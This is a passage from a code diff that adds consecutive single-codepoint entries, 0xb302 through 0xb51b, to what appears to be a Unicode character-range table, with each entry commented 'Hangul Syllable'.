+ [0xb302, 0xb302], /* Hangul Syllable */
+ [0xb303, 0xb303], /* Hangul Syllable */
+ [0xb304, 0xb304], /* Hangul Syllable */
+ [0xb305, 0xb305], /* Hangul Syllable */
+ [0xb306, 0xb306], /* Hangul Syllable */
+ [0xb307, 0xb307], /* Hangul Syllable */
+ [0xb308, 0xb308], /* Hangul Syllable */
+ [0xb309, 0xb309], /* Hangul Syllable */
+ [0xb30a, 0xb30a], /* Hangul Syllable */
+ [0xb30b, 0xb30b], /* Hangul Syllable */
+ [0xb30c, 0xb30c], /* Hangul Syllable */
+ [0xb30d, 0xb30d], /* Hangul Syllable */
+ [0xb30e, 0xb30e], /* Hangul Syllable */
+ [0xb30f, 0xb30f], /* Hangul Syllable */
+ [0xb310, 0xb310], /* Hangul Syllable */
+ [0xb311, 0xb311], /* Hangul Syllable */
+ [0xb312, 0xb312], /* Hangul Syllable */
+ [0xb313, 0xb313], /* Hangul Syllable */
+ [0xb314, 0xb314], /* Hangul Syllable */
+ [0xb315, 0xb315], /* Hangul Syllable */
+ [0xb316, 0xb316], /* Hangul Syllable */
+ [0xb317, 0xb317], /* Hangul Syllable */
+ [0xb318, 0xb318], /* Hangul Syllable */
+ [0xb319, 0xb319], /* Hangul Syllable */
+ [0xb31a, 0xb31a], /* Hangul Syllable */
+ [0xb31b, 0xb31b], /* Hangul Syllable */
+ [0xb31c, 0xb31c], /* Hangul Syllable */
+ [0xb31d, 0xb31d], /* Hangul Syllable */
+ [0xb31e, 0xb31e], /* Hangul Syllable */
+ [0xb31f, 0xb31f], /* Hangul Syllable */
+ [0xb320, 0xb320], /* Hangul Syllable */
+ [0xb321, 0xb321], /* Hangul Syllable */
+ [0xb322, 0xb322], /* Hangul Syllable */
+ [0xb323, 0xb323], /* Hangul Syllable */
+ [0xb324, 0xb324], /* Hangul Syllable */
+ [0xb325, 0xb325], /* Hangul Syllable */
+ [0xb326, 0xb326], /* Hangul Syllable */
+ [0xb327, 0xb327], /* Hangul Syllable */
+ [0xb328, 0xb328], /* Hangul Syllable */
+ [0xb329, 0xb329], /* Hangul Syllable */
+ [0xb32a, 0xb32a], /* Hangul Syllable */
+ [0xb32b, 0xb32b], /* Hangul Syllable */
+ [0xb32c, 0xb32c], /* Hangul Syllable */
+ [0xb32d, 0xb32d], /* Hangul Syllable */
+ [0xb32e, 0xb32e], /* Hangul Syllable */
+ [0xb32f, 0xb32f], /* Hangul Syllable */
+ [0xb330, 0xb330], /* Hangul Syllable */
+ [0xb331, 0xb331], /* Hangul Syllable */
+ [0xb332, 0xb332], /* Hangul Syllable */
+ [0xb333, 0xb333], /* Hangul Syllable */
+ [0xb334, 0xb334], /* Hangul Syllable */
+ [0xb335, 0xb335], /* Hangul Syllable */
+ [0xb336, 0xb336], /* Hangul Syllable */
+ [0xb337, 0xb337], /* Hangul Syllable */
+ [0xb338, 0xb338], /* Hangul Syllable */
+ [0xb339, 0xb339], /* Hangul Syllable */
+ [0xb33a, 0xb33a], /* Hangul Syllable */
+ [0xb33b, 0xb33b], /* Hangul Syllable */
+ [0xb33c, 0xb33c], /* Hangul Syllable */
+ [0xb33d, 0xb33d], /* Hangul Syllable */
+ [0xb33e, 0xb33e], /* Hangul Syllable */
+ [0xb33f, 0xb33f], /* Hangul Syllable */
+ [0xb340, 0xb340], /* Hangul Syllable */
+ [0xb341, 0xb341], /* Hangul Syllable */
+ [0xb342, 0xb342], /* Hangul Syllable */
+ [0xb343, 0xb343], /* Hangul Syllable */
+ [0xb344, 0xb344], /* Hangul Syllable */
+ [0xb345, 0xb345], /* Hangul Syllable */
+ [0xb346, 0xb346], /* Hangul Syllable */
+ [0xb347, 0xb347], /* Hangul Syllable */
+ [0xb348, 0xb348], /* Hangul Syllable */
+ [0xb349, 0xb349], /* Hangul Syllable */
+ [0xb34a, 0xb34a], /* Hangul Syllable */
+ [0xb34b, 0xb34b], /* Hangul Syllable */
+ [0xb34c, 0xb34c], /* Hangul Syllable */
+ [0xb34d, 0xb34d], /* Hangul Syllable */
+ [0xb34e, 0xb34e], /* Hangul Syllable */
+ [0xb34f, 0xb34f], /* Hangul Syllable */
+ [0xb350, 0xb350], /* Hangul Syllable */
+ [0xb351, 0xb351], /* Hangul Syllable */
+ [0xb352, 0xb352], /* Hangul Syllable */
+ [0xb353, 0xb353], /* Hangul Syllable */
+ [0xb354, 0xb354], /* Hangul Syllable */
+ [0xb355, 0xb355], /* Hangul Syllable */
+ [0xb356, 0xb356], /* Hangul Syllable */
+ [0xb357, 0xb357], /* Hangul Syllable */
+ [0xb358, 0xb358], /* Hangul Syllable */
+ [0xb359, 0xb359], /* Hangul Syllable */
+ [0xb35a, 0xb35a], /* Hangul Syllable */
+ [0xb35b, 0xb35b], /* Hangul Syllable */
+ [0xb35c, 0xb35c], /* Hangul Syllable */
+ [0xb35d, 0xb35d], /* Hangul Syllable */
+ [0xb35e, 0xb35e], /* Hangul Syllable */
+ [0xb35f, 0xb35f], /* Hangul Syllable */
+ [0xb360, 0xb360], /* Hangul Syllable */
+ [0xb361, 0xb361], /* Hangul Syllable */
+ [0xb362, 0xb362], /* Hangul Syllable */
+ [0xb363, 0xb363], /* Hangul Syllable */
+ [0xb364, 0xb364], /* Hangul Syllable */
+ [0xb365, 0xb365], /* Hangul Syllable */
+ [0xb366, 0xb366], /* Hangul Syllable */
+ [0xb367, 0xb367], /* Hangul Syllable */
+ [0xb368, 0xb368], /* Hangul Syllable */
+ [0xb369, 0xb369], /* Hangul Syllable */
+ [0xb36a, 0xb36a], /* Hangul Syllable */
+ [0xb36b, 0xb36b], /* Hangul Syllable */
+ [0xb36c, 0xb36c], /* Hangul Syllable */
+ [0xb36d, 0xb36d], /* Hangul Syllable */
+ [0xb36e, 0xb36e], /* Hangul Syllable */
+ [0xb36f, 0xb36f], /* Hangul Syllable */
+ [0xb370, 0xb370], /* Hangul Syllable */
+ [0xb371, 0xb371], /* Hangul Syllable */
+ [0xb372, 0xb372], /* Hangul Syllable */
+ [0xb373, 0xb373], /* Hangul Syllable */
+ [0xb374, 0xb374], /* Hangul Syllable */
+ [0xb375, 0xb375], /* Hangul Syllable */
+ [0xb376, 0xb376], /* Hangul Syllable */
+ [0xb377, 0xb377], /* Hangul Syllable */
+ [0xb378, 0xb378], /* Hangul Syllable */
+ [0xb379, 0xb379], /* Hangul Syllable */
+ [0xb37a, 0xb37a], /* Hangul Syllable */
+ [0xb37b, 0xb37b], /* Hangul Syllable */
+ [0xb37c, 0xb37c], /* Hangul Syllable */
+ [0xb37d, 0xb37d], /* Hangul Syllable */
+ [0xb37e, 0xb37e], /* Hangul Syllable */
+ [0xb37f, 0xb37f], /* Hangul Syllable */
+ [0xb380, 0xb380], /* Hangul Syllable */
+ [0xb381, 0xb381], /* Hangul Syllable */
+ [0xb382, 0xb382], /* Hangul Syllable */
+ [0xb383, 0xb383], /* Hangul Syllable */
+ [0xb384, 0xb384], /* Hangul Syllable */
+ [0xb385, 0xb385], /* Hangul Syllable */
+ [0xb386, 0xb386], /* Hangul Syllable */
+ [0xb387, 0xb387], /* Hangul Syllable */
+ [0xb388, 0xb388], /* Hangul Syllable */
+ [0xb389, 0xb389], /* Hangul Syllable */
+ [0xb38a, 0xb38a], /* Hangul Syllable */
+ [0xb38b, 0xb38b], /* Hangul Syllable */
+ [0xb38c, 0xb38c], /* Hangul Syllable */
+ [0xb38d, 0xb38d], /* Hangul Syllable */
+ [0xb38e, 0xb38e], /* Hangul Syllable */
+ [0xb38f, 0xb38f], /* Hangul Syllable */
+ [0xb390, 0xb390], /* Hangul Syllable */
+ [0xb391, 0xb391], /* Hangul Syllable */
+ [0xb392, 0xb392], /* Hangul Syllable */
+ [0xb393, 0xb393], /* Hangul Syllable */
+ [0xb394, 0xb394], /* Hangul Syllable */
+ [0xb395, 0xb395], /* Hangul Syllable */
+ [0xb396, 0xb396], /* Hangul Syllable */
+ [0xb397, 0xb397], /* Hangul Syllable */
+ [0xb398, 0xb398], /* Hangul Syllable */
+ [0xb399, 0xb399], /* Hangul Syllable */
+ [0xb39a, 0xb39a], /* Hangul Syllable */
+ [0xb39b, 0xb39b], /* Hangul Syllable */
+ [0xb39c, 0xb39c], /* Hangul Syllable */
+ [0xb39d, 0xb39d], /* Hangul Syllable */
+ [0xb39e, 0xb39e], /* Hangul Syllable */
+ [0xb39f, 0xb39f], /* Hangul Syllable */
+ [0xb3a0, 0xb3a0], /* Hangul Syllable */
+ [0xb3a1, 0xb3a1], /* Hangul Syllable */
+ [0xb3a2, 0xb3a2], /* Hangul Syllable */
+ [0xb3a3, 0xb3a3], /* Hangul Syllable */
+ [0xb3a4, 0xb3a4], /* Hangul Syllable */
+ [0xb3a5, 0xb3a5], /* Hangul Syllable */
+ [0xb3a6, 0xb3a6], /* Hangul Syllable */
+ [0xb3a7, 0xb3a7], /* Hangul Syllable */
+ [0xb3a8, 0xb3a8], /* Hangul Syllable */
+ [0xb3a9, 0xb3a9], /* Hangul Syllable */
+ [0xb3aa, 0xb3aa], /* Hangul Syllable */
+ [0xb3ab, 0xb3ab], /* Hangul Syllable */
+ [0xb3ac, 0xb3ac], /* Hangul Syllable */
+ [0xb3ad, 0xb3ad], /* Hangul Syllable */
+ [0xb3ae, 0xb3ae], /* Hangul Syllable */
+ [0xb3af, 0xb3af], /* Hangul Syllable */
+ [0xb3b0, 0xb3b0], /* Hangul Syllable */
+ [0xb3b1, 0xb3b1], /* Hangul Syllable */
+ [0xb3b2, 0xb3b2], /* Hangul Syllable */
+ [0xb3b3, 0xb3b3], /* Hangul Syllable */
+ [0xb3b4, 0xb3b4], /* Hangul Syllable */
+ [0xb3b5, 0xb3b5], /* Hangul Syllable */
+ [0xb3b6, 0xb3b6], /* Hangul Syllable */
+ [0xb3b7, 0xb3b7], /* Hangul Syllable */
+ [0xb3b8, 0xb3b8], /* Hangul Syllable */
+ [0xb3b9, 0xb3b9], /* Hangul Syllable */
+ [0xb3ba, 0xb3ba], /* Hangul Syllable */
+ [0xb3bb, 0xb3bb], /* Hangul Syllable */
+ [0xb3bc, 0xb3bc], /* Hangul Syllable */
+ [0xb3bd, 0xb3bd], /* Hangul Syllable */
+ [0xb3be, 0xb3be], /* Hangul Syllable */
+ [0xb3bf, 0xb3bf], /* Hangul Syllable */
+ [0xb3c0, 0xb3c0], /* Hangul Syllable */
+ [0xb3c1, 0xb3c1], /* Hangul Syllable */
+ [0xb3c2, 0xb3c2], /* Hangul Syllable */
+ [0xb3c3, 0xb3c3], /* Hangul Syllable */
+ [0xb3c4, 0xb3c4], /* Hangul Syllable */
+ [0xb3c5, 0xb3c5], /* Hangul Syllable */
+ [0xb3c6, 0xb3c6], /* Hangul Syllable */
+ [0xb3c7, 0xb3c7], /* Hangul Syllable */
+ [0xb3c8, 0xb3c8], /* Hangul Syllable */
+ [0xb3c9, 0xb3c9], /* Hangul Syllable */
+ [0xb3ca, 0xb3ca], /* Hangul Syllable */
+ [0xb3cb, 0xb3cb], /* Hangul Syllable */
+ [0xb3cc, 0xb3cc], /* Hangul Syllable */
+ [0xb3cd, 0xb3cd], /* Hangul Syllable */
+ [0xb3ce, 0xb3ce], /* Hangul Syllable */
+ [0xb3cf, 0xb3cf], /* Hangul Syllable */
+ [0xb3d0, 0xb3d0], /* Hangul Syllable */
+ [0xb3d1, 0xb3d1], /* Hangul Syllable */
+ [0xb3d2, 0xb3d2], /* Hangul Syllable */
+ [0xb3d3, 0xb3d3], /* Hangul Syllable */
+ [0xb3d4, 0xb3d4], /* Hangul Syllable */
+ [0xb3d5, 0xb3d5], /* Hangul Syllable */
+ [0xb3d6, 0xb3d6], /* Hangul Syllable */
+ [0xb3d7, 0xb3d7], /* Hangul Syllable */
+ [0xb3d8, 0xb3d8], /* Hangul Syllable */
+ [0xb3d9, 0xb3d9], /* Hangul Syllable */
+ [0xb3da, 0xb3da], /* Hangul Syllable */
+ [0xb3db, 0xb3db], /* Hangul Syllable */
+ [0xb3dc, 0xb3dc], /* Hangul Syllable */
+ [0xb3dd, 0xb3dd], /* Hangul Syllable */
+ [0xb3de, 0xb3de], /* Hangul Syllable */
+ [0xb3df, 0xb3df], /* Hangul Syllable */
+ [0xb3e0, 0xb3e0], /* Hangul Syllable */
+ [0xb3e1, 0xb3e1], /* Hangul Syllable */
+ [0xb3e2, 0xb3e2], /* Hangul Syllable */
+ [0xb3e3, 0xb3e3], /* Hangul Syllable */
+ [0xb3e4, 0xb3e4], /* Hangul Syllable */
+ [0xb3e5, 0xb3e5], /* Hangul Syllable */
+ [0xb3e6, 0xb3e6], /* Hangul Syllable */
+ [0xb3e7, 0xb3e7], /* Hangul Syllable */
+ [0xb3e8, 0xb3e8], /* Hangul Syllable */
+ [0xb3e9, 0xb3e9], /* Hangul Syllable */
+ [0xb3ea, 0xb3ea], /* Hangul Syllable */
+ [0xb3eb, 0xb3eb], /* Hangul Syllable */
+ [0xb3ec, 0xb3ec], /* Hangul Syllable */
+ [0xb3ed, 0xb3ed], /* Hangul Syllable */
+ [0xb3ee, 0xb3ee], /* Hangul Syllable */
+ [0xb3ef, 0xb3ef], /* Hangul Syllable */
+ [0xb3f0, 0xb3f0], /* Hangul Syllable */
+ [0xb3f1, 0xb3f1], /* Hangul Syllable */
+ [0xb3f2, 0xb3f2], /* Hangul Syllable */
+ [0xb3f3, 0xb3f3], /* Hangul Syllable */
+ [0xb3f4, 0xb3f4], /* Hangul Syllable */
+ [0xb3f5, 0xb3f5], /* Hangul Syllable */
+ [0xb3f6, 0xb3f6], /* Hangul Syllable */
+ [0xb3f7, 0xb3f7], /* Hangul Syllable */
+ [0xb3f8, 0xb3f8], /* Hangul Syllable */
+ [0xb3f9, 0xb3f9], /* Hangul Syllable */
+ [0xb3fa, 0xb3fa], /* Hangul Syllable */
+ [0xb3fb, 0xb3fb], /* Hangul Syllable */
+ [0xb3fc, 0xb3fc], /* Hangul Syllable */
+ [0xb3fd, 0xb3fd], /* Hangul Syllable */
+ [0xb3fe, 0xb3fe], /* Hangul Syllable */
+ [0xb3ff, 0xb3ff], /* Hangul Syllable */
+ [0xb400, 0xb400], /* Hangul Syllable */
+ [0xb401, 0xb401], /* Hangul Syllable */
+ [0xb402, 0xb402], /* Hangul Syllable */
+ [0xb403, 0xb403], /* Hangul Syllable */
+ [0xb404, 0xb404], /* Hangul Syllable */
+ [0xb405, 0xb405], /* Hangul Syllable */
+ [0xb406, 0xb406], /* Hangul Syllable */
+ [0xb407, 0xb407], /* Hangul Syllable */
+ [0xb408, 0xb408], /* Hangul Syllable */
+ [0xb409, 0xb409], /* Hangul Syllable */
+ [0xb40a, 0xb40a], /* Hangul Syllable */
+ [0xb40b, 0xb40b], /* Hangul Syllable */
+ [0xb40c, 0xb40c], /* Hangul Syllable */
+ [0xb40d, 0xb40d], /* Hangul Syllable */
+ [0xb40e, 0xb40e], /* Hangul Syllable */
+ [0xb40f, 0xb40f], /* Hangul Syllable */
+ [0xb410, 0xb410], /* Hangul Syllable */
+ [0xb411, 0xb411], /* Hangul Syllable */
+ [0xb412, 0xb412], /* Hangul Syllable */
+ [0xb413, 0xb413], /* Hangul Syllable */
+ [0xb414, 0xb414], /* Hangul Syllable */
+ [0xb415, 0xb415], /* Hangul Syllable */
+ [0xb416, 0xb416], /* Hangul Syllable */
+ [0xb417, 0xb417], /* Hangul Syllable */
+ [0xb418, 0xb418], /* Hangul Syllable */
+ [0xb419, 0xb419], /* Hangul Syllable */
+ [0xb41a, 0xb41a], /* Hangul Syllable */
+ [0xb41b, 0xb41b], /* Hangul Syllable */
+ [0xb41c, 0xb41c], /* Hangul Syllable */
+ [0xb41d, 0xb41d], /* Hangul Syllable */
+ [0xb41e, 0xb41e], /* Hangul Syllable */
+ [0xb41f, 0xb41f], /* Hangul Syllable */
+ [0xb420, 0xb420], /* Hangul Syllable */
+ [0xb421, 0xb421], /* Hangul Syllable */
+ [0xb422, 0xb422], /* Hangul Syllable */
+ [0xb423, 0xb423], /* Hangul Syllable */
+ [0xb424, 0xb424], /* Hangul Syllable */
+ [0xb425, 0xb425], /* Hangul Syllable */
+ [0xb426, 0xb426], /* Hangul Syllable */
+ [0xb427, 0xb427], /* Hangul Syllable */
+ [0xb428, 0xb428], /* Hangul Syllable */
+ [0xb429, 0xb429], /* Hangul Syllable */
+ [0xb42a, 0xb42a], /* Hangul Syllable */
+ [0xb42b, 0xb42b], /* Hangul Syllable */
+ [0xb42c, 0xb42c], /* Hangul Syllable */
+ [0xb42d, 0xb42d], /* Hangul Syllable */
+ [0xb42e, 0xb42e], /* Hangul Syllable */
+ [0xb42f, 0xb42f], /* Hangul Syllable */
+ [0xb430, 0xb430], /* Hangul Syllable */
+ [0xb431, 0xb431], /* Hangul Syllable */
+ [0xb432, 0xb432], /* Hangul Syllable */
+ [0xb433, 0xb433], /* Hangul Syllable */
+ [0xb434, 0xb434], /* Hangul Syllable */
+ [0xb435, 0xb435], /* Hangul Syllable */
+ [0xb436, 0xb436], /* Hangul Syllable */
+ [0xb437, 0xb437], /* Hangul Syllable */
+ [0xb438, 0xb438], /* Hangul Syllable */
+ [0xb439, 0xb439], /* Hangul Syllable */
+ [0xb43a, 0xb43a], /* Hangul Syllable */
+ [0xb43b, 0xb43b], /* Hangul Syllable */
+ [0xb43c, 0xb43c], /* Hangul Syllable */
+ [0xb43d, 0xb43d], /* Hangul Syllable */
+ [0xb43e, 0xb43e], /* Hangul Syllable */
+ [0xb43f, 0xb43f], /* Hangul Syllable */
+ [0xb440, 0xb440], /* Hangul Syllable */
+ [0xb441, 0xb441], /* Hangul Syllable */
+ [0xb442, 0xb442], /* Hangul Syllable */
+ [0xb443, 0xb443], /* Hangul Syllable */
+ [0xb444, 0xb444], /* Hangul Syllable */
+ [0xb445, 0xb445], /* Hangul Syllable */
+ [0xb446, 0xb446], /* Hangul Syllable */
+ [0xb447, 0xb447], /* Hangul Syllable */
+ [0xb448, 0xb448], /* Hangul Syllable */
+ [0xb449, 0xb449], /* Hangul Syllable */
+ [0xb44a, 0xb44a], /* Hangul Syllable */
+ [0xb44b, 0xb44b], /* Hangul Syllable */
+ [0xb44c, 0xb44c], /* Hangul Syllable */
+ [0xb44d, 0xb44d], /* Hangul Syllable */
+ [0xb44e, 0xb44e], /* Hangul Syllable */
+ [0xb44f, 0xb44f], /* Hangul Syllable */
+ [0xb450, 0xb450], /* Hangul Syllable */
+ [0xb451, 0xb451], /* Hangul Syllable */
+ [0xb452, 0xb452], /* Hangul Syllable */
+ [0xb453, 0xb453], /* Hangul Syllable */
+ [0xb454, 0xb454], /* Hangul Syllable */
+ [0xb455, 0xb455], /* Hangul Syllable */
+ [0xb456, 0xb456], /* Hangul Syllable */
+ [0xb457, 0xb457], /* Hangul Syllable */
+ [0xb458, 0xb458], /* Hangul Syllable */
+ [0xb459, 0xb459], /* Hangul Syllable */
+ [0xb45a, 0xb45a], /* Hangul Syllable */
+ [0xb45b, 0xb45b], /* Hangul Syllable */
+ [0xb45c, 0xb45c], /* Hangul Syllable */
+ [0xb45d, 0xb45d], /* Hangul Syllable */
+ [0xb45e, 0xb45e], /* Hangul Syllable */
+ [0xb45f, 0xb45f], /* Hangul Syllable */
+ [0xb460, 0xb460], /* Hangul Syllable */
+ [0xb461, 0xb461], /* Hangul Syllable */
+ [0xb462, 0xb462], /* Hangul Syllable */
+ [0xb463, 0xb463], /* Hangul Syllable */
+ [0xb464, 0xb464], /* Hangul Syllable */
+ [0xb465, 0xb465], /* Hangul Syllable */
+ [0xb466, 0xb466], /* Hangul Syllable */
+ [0xb467, 0xb467], /* Hangul Syllable */
+ [0xb468, 0xb468], /* Hangul Syllable */
+ [0xb469, 0xb469], /* Hangul Syllable */
+ [0xb46a, 0xb46a], /* Hangul Syllable */
+ [0xb46b, 0xb46b], /* Hangul Syllable */
+ [0xb46c, 0xb46c], /* Hangul Syllable */
+ [0xb46d, 0xb46d], /* Hangul Syllable */
+ [0xb46e, 0xb46e], /* Hangul Syllable */
+ [0xb46f, 0xb46f], /* Hangul Syllable */
+ [0xb470, 0xb470], /* Hangul Syllable */
+ [0xb471, 0xb471], /* Hangul Syllable */
+ [0xb472, 0xb472], /* Hangul Syllable */
+ [0xb473, 0xb473], /* Hangul Syllable */
+ [0xb474, 0xb474], /* Hangul Syllable */
+ [0xb475, 0xb475], /* Hangul Syllable */
+ [0xb476, 0xb476], /* Hangul Syllable */
+ [0xb477, 0xb477], /* Hangul Syllable */
+ [0xb478, 0xb478], /* Hangul Syllable */
+ [0xb479, 0xb479], /* Hangul Syllable */
+ [0xb47a, 0xb47a], /* Hangul Syllable */
+ [0xb47b, 0xb47b], /* Hangul Syllable */
+ [0xb47c, 0xb47c], /* Hangul Syllable */
+ [0xb47d, 0xb47d], /* Hangul Syllable */
+ [0xb47e, 0xb47e], /* Hangul Syllable */
+ [0xb47f, 0xb47f], /* Hangul Syllable */
+ [0xb480, 0xb480], /* Hangul Syllable */
+ [0xb481, 0xb481], /* Hangul Syllable */
+ [0xb482, 0xb482], /* Hangul Syllable */
+ [0xb483, 0xb483], /* Hangul Syllable */
+ [0xb484, 0xb484], /* Hangul Syllable */
+ [0xb485, 0xb485], /* Hangul Syllable */
+ [0xb486, 0xb486], /* Hangul Syllable */
+ [0xb487, 0xb487], /* Hangul Syllable */
+ [0xb488, 0xb488], /* Hangul Syllable */
+ [0xb489, 0xb489], /* Hangul Syllable */
+ [0xb48a, 0xb48a], /* Hangul Syllable */
+ [0xb48b, 0xb48b], /* Hangul Syllable */
+ [0xb48c, 0xb48c], /* Hangul Syllable */
+ [0xb48d, 0xb48d], /* Hangul Syllable */
+ [0xb48e, 0xb48e], /* Hangul Syllable */
+ [0xb48f, 0xb48f], /* Hangul Syllable */
+ [0xb490, 0xb490], /* Hangul Syllable */
+ [0xb491, 0xb491], /* Hangul Syllable */
+ [0xb492, 0xb492], /* Hangul Syllable */
+ [0xb493, 0xb493], /* Hangul Syllable */
+ [0xb494, 0xb494], /* Hangul Syllable */
+ [0xb495, 0xb495], /* Hangul Syllable */
+ [0xb496, 0xb496], /* Hangul Syllable */
+ [0xb497, 0xb497], /* Hangul Syllable */
+ [0xb498, 0xb498], /* Hangul Syllable */
+ [0xb499, 0xb499], /* Hangul Syllable */
+ [0xb49a, 0xb49a], /* Hangul Syllable */
+ [0xb49b, 0xb49b], /* Hangul Syllable */
+ [0xb49c, 0xb49c], /* Hangul Syllable */
+ [0xb49d, 0xb49d], /* Hangul Syllable */
+ [0xb49e, 0xb49e], /* Hangul Syllable */
+ [0xb49f, 0xb49f], /* Hangul Syllable */
+ [0xb4a0, 0xb4a0], /* Hangul Syllable */
+ [0xb4a1, 0xb4a1], /* Hangul Syllable */
+ [0xb4a2, 0xb4a2], /* Hangul Syllable */
+ [0xb4a3, 0xb4a3], /* Hangul Syllable */
+ [0xb4a4, 0xb4a4], /* Hangul Syllable */
+ [0xb4a5, 0xb4a5], /* Hangul Syllable */
+ [0xb4a6, 0xb4a6], /* Hangul Syllable */
+ [0xb4a7, 0xb4a7], /* Hangul Syllable */
+ [0xb4a8, 0xb4a8], /* Hangul Syllable */
+ [0xb4a9, 0xb4a9], /* Hangul Syllable */
+ [0xb4aa, 0xb4aa], /* Hangul Syllable */
+ [0xb4ab, 0xb4ab], /* Hangul Syllable */
+ [0xb4ac, 0xb4ac], /* Hangul Syllable */
+ [0xb4ad, 0xb4ad], /* Hangul Syllable */
+ [0xb4ae, 0xb4ae], /* Hangul Syllable */
+ [0xb4af, 0xb4af], /* Hangul Syllable */
+ [0xb4b0, 0xb4b0], /* Hangul Syllable */
+ [0xb4b1, 0xb4b1], /* Hangul Syllable */
+ [0xb4b2, 0xb4b2], /* Hangul Syllable */
+ [0xb4b3, 0xb4b3], /* Hangul Syllable */
+ [0xb4b4, 0xb4b4], /* Hangul Syllable */
+ [0xb4b5, 0xb4b5], /* Hangul Syllable */
+ [0xb4b6, 0xb4b6], /* Hangul Syllable */
+ [0xb4b7, 0xb4b7], /* Hangul Syllable */
+ [0xb4b8, 0xb4b8], /* Hangul Syllable */
+ [0xb4b9, 0xb4b9], /* Hangul Syllable */
+ [0xb4ba, 0xb4ba], /* Hangul Syllable */
+ [0xb4bb, 0xb4bb], /* Hangul Syllable */
+ [0xb4bc, 0xb4bc], /* Hangul Syllable */
+ [0xb4bd, 0xb4bd], /* Hangul Syllable */
+ [0xb4be, 0xb4be], /* Hangul Syllable */
+ [0xb4bf, 0xb4bf], /* Hangul Syllable */
+ [0xb4c0, 0xb4c0], /* Hangul Syllable */
+ [0xb4c1, 0xb4c1], /* Hangul Syllable */
+ [0xb4c2, 0xb4c2], /* Hangul Syllable */
+ [0xb4c3, 0xb4c3], /* Hangul Syllable */
+ [0xb4c4, 0xb4c4], /* Hangul Syllable */
+ [0xb4c5, 0xb4c5], /* Hangul Syllable */
+ [0xb4c6, 0xb4c6], /* Hangul Syllable */
+ [0xb4c7, 0xb4c7], /* Hangul Syllable */
+ [0xb4c8, 0xb4c8], /* Hangul Syllable */
+ [0xb4c9, 0xb4c9], /* Hangul Syllable */
+ [0xb4ca, 0xb4ca], /* Hangul Syllable */
+ [0xb4cb, 0xb4cb], /* Hangul Syllable */
+ [0xb4cc, 0xb4cc], /* Hangul Syllable */
+ [0xb4cd, 0xb4cd], /* Hangul Syllable */
+ [0xb4ce, 0xb4ce], /* Hangul Syllable */
+ [0xb4cf, 0xb4cf], /* Hangul Syllable */
+ [0xb4d0, 0xb4d0], /* Hangul Syllable */
+ [0xb4d1, 0xb4d1], /* Hangul Syllable */
+ [0xb4d2, 0xb4d2], /* Hangul Syllable */
+ [0xb4d3, 0xb4d3], /* Hangul Syllable */
+ [0xb4d4, 0xb4d4], /* Hangul Syllable */
+ [0xb4d5, 0xb4d5], /* Hangul Syllable */
+ [0xb4d6, 0xb4d6], /* Hangul Syllable */
+ [0xb4d7, 0xb4d7], /* Hangul Syllable */
+ [0xb4d8, 0xb4d8], /* Hangul Syllable */
+ [0xb4d9, 0xb4d9], /* Hangul Syllable */
+ [0xb4da, 0xb4da], /* Hangul Syllable */
+ [0xb4db, 0xb4db], /* Hangul Syllable */
+ [0xb4dc, 0xb4dc], /* Hangul Syllable */
+ [0xb4dd, 0xb4dd], /* Hangul Syllable */
+ [0xb4de, 0xb4de], /* Hangul Syllable */
+ [0xb4df, 0xb4df], /* Hangul Syllable */
+ [0xb4e0, 0xb4e0], /* Hangul Syllable */
+ [0xb4e1, 0xb4e1], /* Hangul Syllable */
+ [0xb4e2, 0xb4e2], /* Hangul Syllable */
+ [0xb4e3, 0xb4e3], /* Hangul Syllable */
+ [0xb4e4, 0xb4e4], /* Hangul Syllable */
+ [0xb4e5, 0xb4e5], /* Hangul Syllable */
+ [0xb4e6, 0xb4e6], /* Hangul Syllable */
+ [0xb4e7, 0xb4e7], /* Hangul Syllable */
+ [0xb4e8, 0xb4e8], /* Hangul Syllable */
+ [0xb4e9, 0xb4e9], /* Hangul Syllable */
+ [0xb4ea, 0xb4ea], /* Hangul Syllable */
+ [0xb4eb, 0xb4eb], /* Hangul Syllable */
+ [0xb4ec, 0xb4ec], /* Hangul Syllable */
+ [0xb4ed, 0xb4ed], /* Hangul Syllable */
+ [0xb4ee, 0xb4ee], /* Hangul Syllable */
+ [0xb4ef, 0xb4ef], /* Hangul Syllable */
+ [0xb4f0, 0xb4f0], /* Hangul Syllable */
+ [0xb4f1, 0xb4f1], /* Hangul Syllable */
+ [0xb4f2, 0xb4f2], /* Hangul Syllable */
+ [0xb4f3, 0xb4f3], /* Hangul Syllable */
+ [0xb4f4, 0xb4f4], /* Hangul Syllable */
+ [0xb4f5, 0xb4f5], /* Hangul Syllable */
+ [0xb4f6, 0xb4f6], /* Hangul Syllable */
+ [0xb4f7, 0xb4f7], /* Hangul Syllable */
+ [0xb4f8, 0xb4f8], /* Hangul Syllable */
+ [0xb4f9, 0xb4f9], /* Hangul Syllable */
+ [0xb4fa, 0xb4fa], /* Hangul Syllable */
+ [0xb4fb, 0xb4fb], /* Hangul Syllable */
+ [0xb4fc, 0xb4fc], /* Hangul Syllable */
+ [0xb4fd, 0xb4fd], /* Hangul Syllable */
+ [0xb4fe, 0xb4fe], /* Hangul Syllable */
+ [0xb4ff, 0xb4ff], /* Hangul Syllable */
+ [0xb500, 0xb500], /* Hangul Syllable */
+ [0xb501, 0xb501], /* Hangul Syllable */
+ [0xb502, 0xb502], /* Hangul Syllable */
+ [0xb503, 0xb503], /* Hangul Syllable */
+ [0xb504, 0xb504], /* Hangul Syllable */
+ [0xb505, 0xb505], /* Hangul Syllable */
+ [0xb506, 0xb506], /* Hangul Syllable */
+ [0xb507, 0xb507], /* Hangul Syllable */
+ [0xb508, 0xb508], /* Hangul Syllable */
+ [0xb509, 0xb509], /* Hangul Syllable */
+ [0xb50a, 0xb50a], /* Hangul Syllable */
+ [0xb50b, 0xb50b], /* Hangul Syllable */
+ [0xb50c, 0xb50c], /* Hangul Syllable */
+ [0xb50d, 0xb50d], /* Hangul Syllable */
+ [0xb50e, 0xb50e], /* Hangul Syllable */
+ [0xb50f, 0xb50f], /* Hangul Syllable */
+ [0xb510, 0xb510], /* Hangul Syllable */
+ [0xb511, 0xb511], /* Hangul Syllable */
+ [0xb512, 0xb512], /* Hangul Syllable */
+ [0xb513, 0xb513], /* Hangul Syllable */
+ [0xb514, 0xb514], /* Hangul Syllable */
+ [0xb515, 0xb515], /* Hangul Syllable */
+ [0xb516, 0xb516], /* Hangul Syllable */
+ [0xb517, 0xb517], /* Hangul Syllable */
+ [0xb518, 0xb518], /* Hangul Syllable */
+ [0xb519, 0xb519], /* Hangul Syllable */
+ [0xb51a, 0xb51a], /* Hangul Syllable */
+ [0xb51b, 0xb51b], /* Hangul Syllable */
